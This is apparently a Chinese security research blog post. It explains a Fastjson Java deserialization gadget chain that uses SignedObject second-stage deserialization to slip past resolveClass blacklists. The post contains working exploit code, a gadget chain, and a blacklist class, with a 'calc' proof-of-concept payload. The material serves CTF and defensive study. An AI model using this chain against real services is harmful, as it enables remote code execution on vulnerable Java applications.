FastJson结合二次反序列化绕过黑名单

本文首发于先知社区。

省流

该利用链可以在fastjson任意版本实现RCE,并且借助SignedObject绕过第一层安全的resolveClass对于TemplatesImpl类的检查。

条件如下:

  1. ObjectInputStream(反序列化)输入数据可控
  2. 引入Fastjson依赖

FastJson之不安全的反序列化利用

说起来还是AliyunCTF那道ezbean的非预期,很多师傅使用FastJson#toString方法触发TemplatesImpl#getOutputProperties实现RCE

gadget

BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties

FastJson反序列化并不是通过ObjectInputStream.readObject()还原对象,而是在反序列化的过程中自动调用类属性的setter/getter方法,将JSON字符串还原成对象。

因此从FJ 1.2.49开始,JSONArrayJSONObject开始重写了resolveClass,过滤了诸如TemplatesImpl的危险类。而ezbean那道题使用了一个不安全的ObjectInputStream进行反序列化。

这也就导致了选手通过引用的数据类型从而不执行resolveClass以绕过其对危险类的检查,导致了非预期。

exp

        List<Object> list = new ArrayList<>();

        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");

        list.add(templates);          //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);           //此时在hash表中查到了映射,因此接下来以引用形式输出

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd,"val",jsonArray);
        list.add(bd);
        //字节
        byte[] payload = SerializerUtils.serialize(list);

        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
        ois.readObject();

问题

似乎这样的方式只能在目标环境使用了一个不安全的ObjectInputStream的场景下应用。

因为templates是以引用的形式来绕过FJresolveClass方法的黑名单检查,因此在(见exp第三行)必须把templates添加到list中,所以如果重写了ObjectInputStream过滤templates,这样的方法就失效了。

public class MyInputStream extends ObjectInputStream {
    private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");

    public MyInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
        if (this.BLACKLIST.contains(cls.getName())) {
            throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
        } else {
            return super.resolveClass(cls);
        }
    }
}

解决方案也很简单,就是通过二次反序列化绕过。

SignedObject

简单介绍下SignedObject,摘录自Poria师傅博客

当防御者重写了ObjectInputStream类,并且再resolveClass方法定义了反序列化黑名单类时,此时就需要通过二次反序列化绕过。

顾名思义,二次反序列化攻击就是在受害服务器进行第一次反序列化的过程中借助某些类的方法进行第二次反序列化。而第二次反序列化是没有ban恶意类的,通过这种方法间接的实现bypass黑名单。

阅读该类注释可知这个类可以存放一个序列化数据并且有一个属于该数据的签名。

More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.

再观察getObject方法,可以看到其中进行了一次反序列化,这完美符合了我们的要求,并且该类是jdk内置类。

事实上,该类主要用于加密反序列化数据,防止攻击者截获数据包从而解析序列化数据(竟然有些讽刺)。

  /**
     * Retrieves the encapsulated object.
     * The encapsulated object is de-serialized before it is returned.
     *
     * @return the encapsulated object.
     *
     * @exception IOException if an error occurs during de-serialization
     * @exception ClassNotFoundException if an error occurs during
     * de-serialization
     */
    public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

而要反序列化的this.content可以通过构造方法赋值,并且该方法是一个相对容易触发的getter方法,所以问题转化为了如何触发SignedObject#getObject。

解决方案

最好找只依赖于FastJson的包的gadget,使得攻击面最大。

而正好JsonObject#toString可以触发任意getter方法,而toString又可以通过BadAttributeValueExpException#readObject调用,因此整条链子就通了。

gadget

* 绕过第一次的TemplatesImpl黑名单检查
    BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject
* 二次反序列化
    * 引用绕过JSON自带resolveClass的黑名单检查
        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass

exp

package gadget.fastjson;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import gadget.doubleunser.MyInputStream;
import util.GadgetUtils;
import util.ReflectionUtils;
import util.SerializerUtils;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.List;

public class FJ2 {
    public static void main(String[] args) throws Exception{

        List<Object> list = new ArrayList<>();

        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");

        list.add(templates);          //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测

        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);           //此时在handles这个hash表中查到了映射,后续则会以引用形式输出

        BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd2,"val",jsonArray2);

        list.add(bd2);

        //二次反序列化
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));

        //触发SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd1,"val",jsonArray1);

        //验证
        byte[] payload = SerializerUtils.serialize(bd1);

        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));  //再套一层inputstream检查TemplatesImpl,不可用
        ois.readObject();

    }
}

调试

调试部分可见先知社区,toString触发getter那里还是没太调试明白,到时候把fastjson整理完发到另一篇博客上。

结语

fastjson的利用往往通过parseObject触发反序列化,此次探索是在readObject反序列化场景下进行。真实场景下不太了解,emm可能在ctf中可以通过这条链子打个非预期吧。

由于笔者水平不高,希望师傅们多多指正。

参考文献

  1. 二次反序列化 看我一命通关-Ploria
  2. FastJson与原生反序列化(二)-Y4tacker
  3. AliyunCTF官方writeup-f1yyy